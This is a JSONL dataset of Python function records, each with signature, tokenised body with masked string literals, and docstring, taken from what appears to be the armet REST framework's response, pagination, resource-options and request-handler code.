{"signature": "def bind(self, resource):", "body": "self._resource = weakref.proxy(resource)<EOL>", "docstring": "Binds this to the passed resource object.\n\n        @sa armet.http.request.Request.bind", "id": "f10144:c1:m7"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "<EOL>self.require_not_closed()<EOL>if not self.streaming or self.asynchronous:<EOL><INDENT>if '<STR_LIT>' not in self.headers:<EOL><INDENT>self.headers['<STR_LIT>'] = self.tell()<EOL><DEDENT><DEDENT>self.flush()<EOL>self._closed = True<EOL>", "docstring": "Flush and close the stream.\n\n        This is called automatically by the base resource on resources\n        unless the resource is operating asynchronously; in that case,\n        this method MUST be called in order to signal the end of the request.\n        If not the request will simply hang as it is waiting for some\n        thread to tell it to return to the client.", "id": "f10144:c1:m11"}
{"signature": "@property<EOL><INDENT>def closed(self):<DEDENT>", "body": "return self._closed<EOL>", "docstring": "True if the stream is closed.", "id": "f10144:c1:m12"}
{"signature": "def tell(self):", "body": "return self._length<EOL>", "docstring": "Return the current stream position.", "id": "f10144:c1:m13"}
{"signature": "def write(self, chunk, serialize=False, format=None):", "body": "<EOL>self.require_not_closed()<EOL>if chunk is None:<EOL><INDENT>return<EOL><DEDENT>if serialize or format is not None:<EOL><INDENT>self.serialize(chunk, format=format)<EOL>return  <EOL><DEDENT>if type(chunk) is six.binary_type:<EOL><INDENT>self._length += len(chunk)<EOL>self._stream.write(chunk)<EOL><DEDENT>elif isinstance(chunk, six.string_types):<EOL><INDENT>encoding = self.encoding<EOL>if encoding is not None:<EOL><INDENT>chunk = chunk.encode(encoding)<EOL><DEDENT>else:<EOL><INDENT>raise exceptions.InvalidOperation(<EOL>'<STR_LIT>')<EOL><DEDENT>self._length += len(chunk)<EOL>self._stream.write(chunk)<EOL><DEDENT>elif isinstance(chunk, collections.Iterable):<EOL><INDENT>for section in chunk:<EOL><INDENT>self.write(section)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise exceptions.InvalidOperation(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Writes the given chunk to the output buffer.\n\n        @param[in] chunk\n            Either a byte array, a unicode string, or a generator. If `chunk`\n            is a generator then calling `self.write(<generator>)` is\n            equivalent to:\n\n            @code\n                for x in <generator>:\n                    self.write(x)\n                    self.flush()\n            @endcode\n\n        @param[in] serialize\n            True to serialize the lines in a determined serializer.\n\n        @param[in] format\n            A specific format to serialize in; if provided, no detection is\n            done. If not provided, the accept header (as well as the URL\n            extension) is looked at to determine an appropriate serializer.", "id": "f10144:c1:m14"}
{"signature": "def serialize(self, data, format=None):", "body": "return self._resource.serialize(data, response=self, format=format)<EOL>", "docstring": "Serializes the data into this response using a serializer.\n\n        @param[in] data\n            The data to be serialized.\n\n        @param[in] format\n            A specific format to serialize in; if provided, no detection is\n            done. If not provided, the accept header (as well as the URL\n            extension) is looked at to determine an appropriate serializer.\n\n        @returns\n            A tuple of the serialized text and an instance of the\n            serializer used.", "id": "f10144:c1:m15"}
{"signature": "def flush(self):", "body": "<EOL>self.require_not_closed()<EOL>chunk = self._stream.getvalue()<EOL>self._stream.truncate(<NUM_LIT:0>)<EOL>self._stream.seek(<NUM_LIT:0>)<EOL>self.body = chunk if (self._body is None) else (self._body + chunk)<EOL>if self.asynchronous:<EOL><INDENT>self.streaming = True<EOL><DEDENT>", "docstring": "Flush the write buffers of the stream.\n\n        This results in writing the current contents of the write buffer to\n        the transport layer, initiating the HTTP/1.1 response. This initiates\n        a streaming response. If the `Content-Length` header is not given\n        then the chunked `Transfer-Encoding` is applied.", "id": "f10144:c1:m16"}
{"signature": "def send(self, *args, **kwargs):", "body": "self.write(*args, **kwargs)<EOL>self.flush()<EOL>", "docstring": "Writes the passed chunk and flushes it to the client.", "id": "f10144:c1:m17"}
{"signature": "def end(self, *args, **kwargs):", "body": "self.send(*args, **kwargs)<EOL>self.close()<EOL>", "docstring": "Writes the passed chunk, flushes it to the client,\nand terminates the connection.", "id": "f10144:c1:m18"}
{"signature": "def __getitem__(self, name):", "body": "return self.headers[name]<EOL>", "docstring": "Retrieves a header with the passed name.", "id": "f10144:c1:m19"}
{"signature": "def __setitem__(self, name, value):", "body": "self.headers[name] = value<EOL>", "docstring": "Stores a header with the passed name.", "id": "f10144:c1:m20"}
{"signature": "def __delitem__(self, name):", "body": "del self.headers<EOL>", "docstring": "Removes a header with the passed name.", "id": "f10144:c1:m21"}
{"signature": "def __len__(self):", "body": "return self.tell()<EOL>", "docstring": "Retrieves the actual length of the response.", "id": "f10144:c1:m22"}
{"signature": "def __nonzero__(self):", "body": "return not self._closed<EOL>", "docstring": "Test if the response is closed.", "id": "f10144:c1:m23"}
{"signature": "def __bool__(self):", "body": "return not self._closed<EOL>", "docstring": "Test if the response is closed.", "id": "f10144:c1:m24"}
{"signature": "def __contains__(self, name):", "body": "return name in self.headers<EOL>", "docstring": "Tests if the passed header exists in the response.", "id": "f10144:c1:m25"}
{"signature": "def append(self, name, value):", "body": "return self.headers.append(name, value)<EOL>", "docstring": "Add a value to the end of the list for the named header.", "id": "f10144:c1:m26"}
{"signature": "def extend(self, name, values):", "body": "return self.headers.extend(name, values)<EOL>", "docstring": "Extend the list for the named header by appending all values.", "id": "f10144:c1:m27"}
{"signature": "def insert(self, name, index, value):", "body": "return self.headers.insert(index, value)<EOL>", "docstring": "Insert a value at the passed index in the named header.", "id": "f10144:c1:m28"}
{"signature": "def remove(self, name, value):", "body": "return self.headers.remove(name, value)<EOL>", "docstring": "Remove the first item with the passed value from the\nlist for the named header.", "id": "f10144:c1:m29"}
{"signature": "def popvalue(self, name, index=None):", "body": "return self.headers.popvalue(name, index)<EOL>", "docstring": "Remove the item at the given position in the named header list.", "id": "f10144:c1:m30"}
{"signature": "def index(self, name, value):", "body": "return self.headers.index(name, value)<EOL>", "docstring": "Return the index in the list of the first item whose value is x in\nthe values of the named header.", "id": "f10144:c1:m31"}
{"signature": "def count(self, name, value):", "body": "return self.headers.count(name, value)<EOL>", "docstring": "Return the number of times a value appears in the list of the values\nof the named header.", "id": "f10144:c1:m32"}
{"signature": "def sort(self, name):", "body": "return self.headers.sort(name)<EOL>", "docstring": "Sort the items of the list, in place.", "id": "f10144:c1:m33"}
{"signature": "def reverse(self, name):", "body": "return self.headers.reverse(name)<EOL>", "docstring": "Reverse the elements of the list, in place.", "id": "f10144:c1:m34"}
{"signature": "def getlist(self, name):", "body": "return self.headers.getlist(name)<EOL>", "docstring": "Retrieves the passed header as a sequence of its values.", "id": "f10144:c1:m35"}
{"signature": "def deserialize(self, request=None, text=None):", "body": "if text is None:<EOL><INDENT>text = request.read()<EOL><DEDENT>return text<EOL>", "docstring": "Parses the request content into a format consumable by python.\n\n        @throws ValueError\n            To indicate this deserializer cannot deserialize the\n            passed text.", "id": "f10146:c0:m0"}
{"signature": "def dasherize(value):", "body": "value = value.strip()<EOL>value = re.sub(r'<STR_LIT>', r'<STR_LIT>', value)<EOL>value = re.sub(r'<STR_LIT>', r'<STR_LIT:->', value)<EOL>value = re.sub(r'<STR_LIT>', r'<STR_LIT>', value)<EOL>value = value.lower()<EOL>return value<EOL>", "docstring": "Dasherizes the passed value.", "id": "f10150:m0"}
{"signature": "def import_module(name):", "body": "try:<EOL><INDENT>return importlib.import_module(name)<EOL><DEDENT>except ImportError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Attempt to import a module; returns None if unsuccessful.", "id": "f10152:m0"}
{"signature": "def cons(collection, value):", "body": "if isinstance(value, collections.Mapping):<EOL><INDENT>if collection is None:<EOL><INDENT>collection = {}<EOL><DEDENT>collection.update(**value)<EOL><DEDENT>elif isinstance(value, six.string_types):<EOL><INDENT>if collection is None:<EOL><INDENT>collection = []<EOL><DEDENT>collection.append(value)<EOL><DEDENT>elif isinstance(value, collections.Iterable):<EOL><INDENT>if collection is None:<EOL><INDENT>collection = []<EOL><DEDENT>collection.extend(value)<EOL><DEDENT>else:<EOL><INDENT>if collection is None:<EOL><INDENT>collection = []<EOL><DEDENT>collection.append(value)<EOL><DEDENT>return collection<EOL>", "docstring": "Extends a collection with a value.", "id": "f10154:m0"}
{"signature": "def ilike_helper(default):", "body": "@functools.wraps(default)<EOL>def wrapped(x, y):<EOL><INDENT>if isinstance(y, six.string_types) and not isinstance(x.type, sa.Enum):<EOL><INDENT>return x.ilike(\"<STR_LIT:%>\" + y + \"<STR_LIT:%>\")<EOL><DEDENT>else:<EOL><INDENT>return default(x, y)<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Helper function that performs an `ilike` query if a string value\n    is passed, otherwise the normal default operation.", "id": "f10157:m0"}
{"signature": "def parse(specifiers):", "body": "specifiers = \"<STR_LIT>\".join(specifiers.split())<EOL>for specifier in specifiers.split('<STR_LIT:U+002C>'):<EOL><INDENT>if len(specifier) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>count = specifier.count('<STR_LIT:->')<EOL>if (count and specifier[<NUM_LIT:0>] == '<STR_LIT:->') or not count:<EOL><INDENT>yield int(specifier), int(specifier)<EOL>continue<EOL><DEDENT>specifier = list(map(int, specifier.split('<STR_LIT:->')))<EOL>if len(specifier) == <NUM_LIT:2>:<EOL><INDENT>if specifier[<NUM_LIT:0>] < <NUM_LIT:0> or specifier[<NUM_LIT:1>] < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if specifier[<NUM_LIT:1>] < specifier[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>yield tuple(specifier)<EOL>continue<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Consumes set specifiers as text and forms a generator to retrieve\nthe requested ranges.\n\n@param[in] specifiers\n    Expected syntax is from the byte-range-specifier ABNF found in the\n    [RFC 2616]; eg. 15-17,151,-16,26-278,15\n\n@returns\n    Consecutive tuples that describe the requested range; eg. (1, 72) or\n    (1, 1) [read as 1 to 72 or 1 to 1].", "id": "f10160:m0"}
{"signature": "def paginate(request, response, items):", "body": "<EOL>header = request.headers.get('<STR_LIT>')<EOL>if not header:<EOL><INDENT>return items<EOL><DEDENT>prefix = RANGE_SPECIFIER + '<STR_LIT:=>'<EOL>if not header.find(prefix) == <NUM_LIT:0>:<EOL><INDENT>raise exceptions.RequestedRangeNotSatisfiable()<EOL><DEDENT>else:<EOL><INDENT>ranges = parse(header[len(prefix):])<EOL><DEDENT>ranges = list(ranges)<EOL>if len(ranges) > <NUM_LIT:1>:<EOL><INDENT>raise exceptions.RequestedRangeNotSatisfiable(<EOL>'<STR_LIT>')<EOL><DEDENT>start, end = ranges[<NUM_LIT:0>]<EOL>max_length = request.resource.count(items)<EOL>end = min(end, max_length)<EOL>response.status = client.PARTIAL_CONTENT<EOL>response.headers['<STR_LIT>'] = '<STR_LIT>' % (start, end, max_length)<EOL>response.headers['<STR_LIT>'] = RANGE_SPECIFIER<EOL>items = items[start:end + <NUM_LIT:1>]<EOL>return items<EOL>", "docstring": "Paginate an iterable during a request.\n\n    Magically splicling an iterable in our supported ORMs allows LIMIT and\n    OFFSET queries. We should probably delegate this to the ORM or something\n    in the future.", "id": "f10160:m1"}
{"signature": "def use(**kwargs):", "body": "config = dict(use.config)<EOL>use.config.update(kwargs)<EOL>return config<EOL>", "docstring": "Updates the active resource configuration to the passed\nkeyword arguments.\n\nInvoking this method without passing arguments will just return the\nactive resource configuration.\n\n@returns\n    The previous configuration.", "id": "f10162:m0"}
{"signature": "def get(self, target):", "body": "<EOL>return self._get[target](target)<EOL>", "docstring": "Retrieve the value of this attribute from the passed object.", "id": "f10168:c0:m2"}
{"signature": "def set(self, target, value):", "body": "if not self._set:<EOL><INDENT>return<EOL><DEDENT>if self.path is None:<EOL><INDENT>self.set = lambda *a: None<EOL>return None<EOL><DEDENT>if self._segments[target.__class__]:<EOL><INDENT>self.get(target)<EOL><DEDENT>if self._segments[target.__class__]:<EOL><INDENT>return<EOL><DEDENT>parent_getter = compose(*self._getters[target.__class__][:-<NUM_LIT:1>])<EOL>target = parent_getter(target)<EOL>func = self._make_setter(self.path.split('<STR_LIT:.>')[-<NUM_LIT:1>], target.__class__)<EOL>func(target, value)<EOL>def setter(target, value):<EOL><INDENT>func(parent_getter(target), value)<EOL><DEDENT>self.set = setter<EOL>", "docstring": "Set the value of this attribute for the passed object.", "id": "f10168:c0:m3"}
{"signature": "def prepare(self, value):", "body": "<EOL>return value<EOL>", "docstring": "Prepare the value for serialization and presentation to the client.", "id": "f10168:c0:m4"}
{"signature": "def clean(self, value):", "body": "<EOL>return value<EOL>", "docstring": "Cleans the value from deserialization into consumption by python.", "id": "f10168:c0:m5"}
{"signature": "def clone(self):", "body": "return self.__class__(**self.__dict__)<EOL>", "docstring": "Construct an identical attribute.\n\n        Used by the resource metaclass to ensure all attributes are unique\n        instances. This is done so that when getters and setters are resolved\n        the caches don't clobber base classes (for inherited attributes).", "id": "f10168:c0:m7"}
{"signature": "def asynchronous(resource):", "body": "<EOL>resource.meta.asynchronous = True<EOL>return resource<EOL>", "docstring": "Instructs a decorated resource that it is to be asynchronous.\n\n    An asynchronous resource means that `response.close()` must be called\n    explicitly as returning from a method (eg. `get`) does not close\n    the connection.\n\n    @note\n        This can also be configured by setting `asynchronous` to `True`\n        on `<resource>.Meta`. The benefit of the decorator is that this\n        can be applied to specific methods as well as the entire class\n        body.", "id": "f10172:m0"}
{"signature": "def resource(**kwargs):", "body": "def inner(function):<EOL><INDENT>name = kwargs.pop('<STR_LIT:name>', None)<EOL>if name is None:<EOL><INDENT>name = utils.dasherize(function.__name__)<EOL><DEDENT>methods = kwargs.pop('<STR_LIT>', None)<EOL>if isinstance(methods, six.string_types):<EOL><INDENT>methods = methods,<EOL><DEDENT>handler = (function, methods)<EOL>if name not in _resources:<EOL><INDENT>_handlers[name] = []<EOL>from armet import resources<EOL>kwargs['<STR_LIT:name>'] = name<EOL>class LightweightResource(resources.Resource):<EOL><INDENT>Meta = type(str('<STR_LIT:Meta>'), (), kwargs)<EOL>def route(self, request, response):<EOL><INDENT>for handler, methods in _handlers[name]:<EOL><INDENT>if methods is None or request.method in methods:<EOL><INDENT>return handler(request, response)<EOL><DEDENT><DEDENT>resources.Resource.route(self)<EOL><DEDENT><DEDENT>_resources[name] = LightweightResource<EOL><DEDENT>_handlers[name].append(handler)<EOL>return _resources[name]<EOL><DEDENT>return inner<EOL>", "docstring": "Wraps the decorated function in a lightweight resource.", "id": "f10172:m1"}
{"signature": "def read(resource, url):", "body": "return resource._request_read(url)<EOL>", "docstring": "Perform a `read` request in the passed `resource` context against\nthe given `url`.\n\nReturns what a `read` would return (the managed target item).", "id": "f10178:m0"}
{"signature": "@property<EOL><INDENT>def allowed_operations(self):<DEDENT>", "body": "if self.slug is not None:<EOL><INDENT>return self.meta.detail_allowed_operations<EOL><DEDENT>return self.meta.list_allowed_operations<EOL>", "docstring": "Retrieves the allowed operations for this request.", "id": "f10180:c0:m2"}
{"signature": "def assert_operations(self, *args):", "body": "if not set(args).issubset(self.allowed_operations):<EOL><INDENT>raise http.exceptions.Forbidden()<EOL><DEDENT>", "docstring": "Assets if the requested operations are allowed in this context.", "id": "f10180:c0:m3"}
{"signature": "def make_response(self, data=None):", "body": "if data is not None:<EOL><INDENT>data = self.prepare(data)<EOL>self.response.write(data, serialize=True)<EOL><DEDENT>", "docstring": "Fills the response object from the passed data.", "id": "f10180:c0:m4"}
{"signature": "def get(self, request, response):", "body": "<EOL>self.assert_operations('<STR_LIT>')<EOL>items = self.read()<EOL>if not items:<EOL><INDENT>raise http.exceptions.NotFound()<EOL><DEDENT>if (isinstance(items, Iterable)<EOL>and not isinstance(items, six.string_types)) and items:<EOL><INDENT>items = pagination.paginate(self.request, self.response, items)<EOL><DEDENT>self.make_response(items)<EOL>", "docstring": "Processes a `GET` request.", "id": "f10180:c0:m13"}
{"signature": "def post(self, request, response):", "body": "if self.slug is not None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>self.assert_operations('<STR_LIT>')<EOL>data = self._clean(None, self.request.read(deserialize=True))<EOL>item = self.create(data)<EOL>self.response.status = http.client.CREATED<EOL>self.make_response(item)<EOL>", "docstring": "Processes a `POST` request.", "id": "f10180:c0:m14"}
{"signature": "def put(self, request, response):", "body": "if self.slug is None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>target = self.read()<EOL>data = self._clean(target, self.request.read(deserialize=True))<EOL>if target is not None:<EOL><INDENT>self.assert_operations('<STR_LIT>')<EOL>try:<EOL><INDENT>self.update(target, data)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>self.make_response(target)<EOL><DEDENT>else:<EOL><INDENT>self.assert_operations('<STR_LIT>')<EOL>target = self.create(data)<EOL>self.response.status = http.client.CREATED<EOL>self.make_response(target)<EOL><DEDENT>", "docstring": "Processes a `PUT` request.", "id": "f10180:c0:m15"}
{"signature": "def delete(self, request, response):", "body": "if self.slug is None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>self.assert_operations('<STR_LIT>')<EOL>self.destroy()<EOL>self.response.status = http.client.NO_CONTENT<EOL>self.make_response()<EOL>", "docstring": "Processes a `DELETE` request.", "id": "f10180:c0:m16"}
{"signature": "def link(self, request, response):", "body": "from armet.resources.managed.request import read<EOL>if self.slug is None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>target = self.read()<EOL>links = self._parse_link_headers(request['<STR_LIT>'])<EOL>for link in links:<EOL><INDENT>self.relate(target, read(self, link['<STR_LIT>']))<EOL><DEDENT>self.response.status = http.client.NO_CONTENT<EOL>self.make_response()<EOL>", "docstring": "Processes a `LINK` request.\n\n        A `LINK` request is asking to create a relation from the currently\n        represented URI to all of the `Link` request headers.", "id": "f10180:c0:m18"}
{"signature": "def unlink(self, request, response):", "body": "from armet.resources.managed.request import read<EOL>if self.slug is None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>target = self.read()<EOL>links = self._parse_link_headers(request['<STR_LIT>'])<EOL>for link in links:<EOL><INDENT>self.unrelate(target, read(self, link['<STR_LIT>']))<EOL><DEDENT>self.response.status = http.client.NO_CONTENT<EOL>self.make_response()<EOL>", "docstring": "Processes a `UNLINK` request.\n\n        A `UNLINK` request is asking to revoke a relation from the currently\n        represented URI to all of the `Link` request headers.", "id": "f10180:c0:m19"}
{"signature": "def _merge(options, name, bases, default=None):", "body": "result = None<EOL>for base in bases:<EOL><INDENT>if base is None:<EOL><INDENT>continue<EOL><DEDENT>value = getattr(base, name, None)<EOL>if value is None:<EOL><INDENT>continue<EOL><DEDENT>result = utils.cons(result, value)<EOL><DEDENT>value = options.get(name)<EOL>if value is not None:<EOL><INDENT>result = utils.cons(result, value)<EOL><DEDENT>return result or default<EOL>", "docstring": "Merges a named option collection.", "id": "f10184:m0"}
{"signature": "def __init__(self, meta, name, data, bases):", "body": "<EOL>self.debug = meta.get('<STR_LIT>')<EOL>if self.debug is None:<EOL><INDENT>self.debug = False<EOL><DEDENT>self.abstract = data.get('<STR_LIT>')<EOL>self.name = meta.get('<STR_LIT:name>')<EOL>if self.name is None:<EOL><INDENT>dashed = utils.dasherize(name).strip()<EOL>if dashed:<EOL><INDENT>self.name = re.sub(r'<STR_LIT>', '<STR_LIT>', dashed)<EOL><DEDENT>else:<EOL><INDENT>self.name = name<EOL><DEDENT><DEDENT>elif callable(self.name):<EOL><INDENT>self.name = self.name(name)<EOL><DEDENT>self.asynchronous = meta.get('<STR_LIT>', False)<EOL>self.connectors = connectors = _merge(meta, '<STR_LIT>', bases, {})<EOL>if not connectors.get('<STR_LIT:http>') and not self.abstract:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>')<EOL><DEDENT>for key in connectors:<EOL><INDENT>connector = connectors[key]<EOL>if isinstance(connector, six.string_types):<EOL><INDENT>if connector in getattr(included_connectors, key):<EOL><INDENT>connectors[key] = '<STR_LIT>'.format(connector)<EOL><DEDENT><DEDENT><DEDENT>self.options = options = _merge(meta, '<STR_LIT>', bases, {})<EOL>for name in options:<EOL><INDENT>setattr(self, name, meta.get(name))<EOL><DEDENT>self.patterns = meta.get('<STR_LIT>', [])<EOL>for index, pattern in enumerate(self.patterns):<EOL><INDENT>if isinstance(pattern, six.string_types):<EOL><INDENT>pattern = (None, pattern)<EOL><DEDENT>self.patterns[index] = (pattern[<NUM_LIT:0>], re.compile(pattern[<NUM_LIT:1>]))<EOL><DEDENT>self.trailing_slash = meta.get('<STR_LIT>', True)<EOL>self.http_allowed_methods = meta.get('<STR_LIT>')<EOL>if self.http_allowed_methods is None:<EOL><INDENT>self.http_allowed_methods = (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:GET>',<EOL>'<STR_LIT:POST>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.http_allowed_headers = meta.get('<STR_LIT>')<EOL>if self.http_allowed_headers is None:<EOL><INDENT>self.http_allowed_headers = (<EOL>'<STR_LIT:Content-Type>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.http_exposed_headers = meta.get('<STR_LIT>')<EOL>if self.http_exposed_headers is None:<EOL><INDENT>self.http_exposed_headers = (<EOL>'<STR_LIT:Content-Type>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.http_allowed_origins = meta.get('<STR_LIT>')<EOL>if self.http_allowed_origins is None:<EOL><INDENT>self.http_allowed_origins = ()<EOL><DEDENT>self.legacy_redirect = meta.get('<STR_LIT>', True)<EOL>self.serializers = serializers = meta.get('<STR_LIT>')<EOL>if not serializers:<EOL><INDENT>self.serializers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:url>': '<STR_LIT>'<EOL>}<EOL><DEDENT>for name, serializer in six.iteritems(self.serializers):<EOL><INDENT>if isinstance(serializer, six.string_types):<EOL><INDENT>segments = serializer.split('<STR_LIT:.>')<EOL>module = '<STR_LIT:.>'.join(segments[:-<NUM_LIT:1>])<EOL>module = import_module(module)<EOL>self.serializers[name] = getattr(module, segments[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>self.allowed_serializers = meta.get('<STR_LIT>')<EOL>if not self.allowed_serializers:<EOL><INDENT>self.allowed_serializers = tuple(self.serializers.keys())<EOL><DEDENT>for name in self.allowed_serializers:<EOL><INDENT>if name not in self.serializers:<EOL><INDENT>raise ImproperlyConfigured(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(name))<EOL><DEDENT><DEDENT>self.default_serializer = meta.get('<STR_LIT>')<EOL>if not self.default_serializer:<EOL><INDENT>if '<STR_LIT>' in self.allowed_serializers:<EOL><INDENT>self.default_serializer = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.default_serializer = self.allowed_serializers[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if self.default_serializer not in self.allowed_serializers:<EOL><INDENT>raise ImproperlyConfigured(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.default_serializer))<EOL><DEDENT>self.deserializers = deserializers = meta.get('<STR_LIT>')<EOL>if not deserializers:<EOL><INDENT>self.deserializers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:url>': '<STR_LIT>'<EOL>}<EOL><DEDENT>for name, deserializer in six.iteritems(self.deserializers):<EOL><INDENT>if isinstance(deserializer, six.string_types):<EOL><INDENT>segments = deserializer.split('<STR_LIT:.>')<EOL>module = '<STR_LIT:.>'.join(segments[:-<NUM_LIT:1>])<EOL>module = import_module(module)<EOL>self.deserializers[name] = getattr(module, segments[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>self.allowed_deserializers = meta.get('<STR_LIT>')<EOL>if not self.allowed_deserializers:<EOL><INDENT>self.allowed_deserializers = tuple(self.deserializers.keys())<EOL><DEDENT>for name in self.allowed_deserializers:<EOL><INDENT>if name not in self.deserializers:<EOL><INDENT>raise ImproperlyConfigured(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(name))<EOL><DEDENT><DEDENT>self.authentication = meta.get('<STR_LIT>')<EOL>if self.authentication is None:<EOL><INDENT>self.authentication = (authentication.Authentication(),)<EOL><DEDENT>self.authorization = meta.get('<STR_LIT>')<EOL>if self.authorization is None:<EOL><INDENT>self.authorization = authorization.Authorization()<EOL><DEDENT>", "docstring": "Initializes the options object and defaults configuration not\nspecified.\n\n@param[in] meta\n    Dictionary of the merged meta attributes.\n\n@param[in] name\n    Name of the resource class this is being instantiataed for.", "id": "f10184:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def redirect(cls, request, response):<DEDENT>", "body": "if cls.meta.legacy_redirect:<EOL><INDENT>if request.method in ('<STR_LIT:GET>', '<STR_LIT>',):<EOL><INDENT>response.status = http.client.MOVED_PERMANENTLY<EOL><DEDENT>else:<EOL><INDENT>response.status = http.client.TEMPORARY_REDIRECT<EOL><DEDENT><DEDENT>else:<EOL><INDENT>response.status = http.client.PERMANENT_REDIRECT<EOL><DEDENT>response.close()<EOL>", "docstring": "Redirect to the canonical URI for this resource.", "id": "f10185:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def view(cls, request, response):<DEDENT>", "body": "<EOL>test = cls.meta.trailing_slash<EOL>if test ^ request.path.endswith('<STR_LIT:/>'):<EOL><INDENT>path = request.path + '<STR_LIT:/>' if test else request.path[:-<NUM_LIT:1>]<EOL>response['<STR_LIT>'] = '<STR_LIT>'.format(<EOL>request.protocol.lower(),<EOL>request.host,<EOL>request.mount_point,<EOL>path,<EOL>'<STR_LIT:?>' + request.query if request.query else '<STR_LIT>')<EOL>return cls.redirect(request, response)<EOL><DEDENT>try:<EOL><INDENT>obj = cls(request, response)<EOL>request.bind(obj)<EOL>response.bind(obj)<EOL>obj._request = request<EOL>result = obj.dispatch(request, response)<EOL>if not response.asynchronous:<EOL><INDENT>if (isinstance(result, collections.Iterable) and<EOL>not isinstance(result, six.string_types)):<EOL><INDENT>return cls.stream(response, result)<EOL><DEDENT>else:<EOL><INDENT>response.end(result)<EOL>if response.body:<EOL><INDENT>return response.body<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except http.exceptions.BaseHTTPException as e:<EOL><INDENT>response.status = e.status<EOL>response.headers.update(e.headers)<EOL>if e.content:<EOL><INDENT>response.send(e.content, serialize=True, format='<STR_LIT>')<EOL><DEDENT>response.close()<EOL>if response.body:<EOL><INDENT>return response.body<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>logger.exception('<STR_LIT>')<EOL>if not response.streaming and not response.closed:<EOL><INDENT>response.status = http.client.INTERNAL_SERVER_ERROR<EOL>response.headers.clear()<EOL>response.close()<EOL><DEDENT><DEDENT>", "docstring": "Entry-point of the request / response cycle; Handles resource creation\nand delegation.\n\n@param[in] requset\n    The HTTP request object; containing accessors for information\n    about the request.\n\n@param[in] response\n    The HTTP response object; contains accessors for modifying\n    the information that will be sent to the client.", "id": "f10185:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def parse(cls, path):<DEDENT>", "body": "<EOL>for resource, pattern in cls.meta.patterns:<EOL><INDENT>match = re.match(pattern, path)<EOL>if match is not None:<EOL><INDENT>return resource, match.groupdict(), match.string[match.end():]<EOL><DEDENT><DEDENT>return None if not cls.meta.patterns else False<EOL>", "docstring": "Parses out parameters and separates them out of the path.\n\n        This uses one of the many defined patterns on the options class. But,\n        it defaults to a no-op if there are no defined patterns.", "id": "f10185:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def traverse(cls, request, params=None):<DEDENT>", "body": "<EOL>result = cls.parse(request.path)<EOL>if result is None:<EOL><INDENT>return cls, {}<EOL><DEDENT>elif not result:<EOL><INDENT>raise http.exceptions.NotFound()<EOL><DEDENT>resource, data, rest = result<EOL>if params:<EOL><INDENT>data.update(params)<EOL><DEDENT>if resource is None:<EOL><INDENT>return cls, data<EOL><DEDENT>if data.get('<STR_LIT:path>') is not None:<EOL><INDENT>request.path = data.pop('<STR_LIT:path>')<EOL><DEDENT>elif rest is not None:<EOL><INDENT>request.path = rest<EOL><DEDENT>result = resource.traverse(request, params=data)<EOL>return result<EOL>", "docstring": "Traverses down the path and determines the accessed resource.\n\n        This makes use of the patterns array to implement simple traversal.\n        This defaults to a no-op if there are no defined patterns.", "id": "f10185:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def stream(cls, response, sequence):<DEDENT>", "body": "<EOL>iterator = iter(sequence)<EOL>data = {'<STR_LIT>': next(iterator)}<EOL>response.streaming = True<EOL>def streamer():<EOL><INDENT>while True:<EOL><INDENT>if response.asynchronous:<EOL><INDENT>yield data['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>response.send(data['<STR_LIT>'])<EOL>yield response.body<EOL>response.body = None<EOL><DEDENT>try:<EOL><INDENT>data['<STR_LIT>'] = next(iterator)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not response.asynchronous:<EOL><INDENT>response.close()<EOL><DEDENT><DEDENT>return streamer()<EOL>", "docstring": "Helper method used in conjunction with the view handler to\nstream responses to the client.", "id": "f10185:c0:m5"}
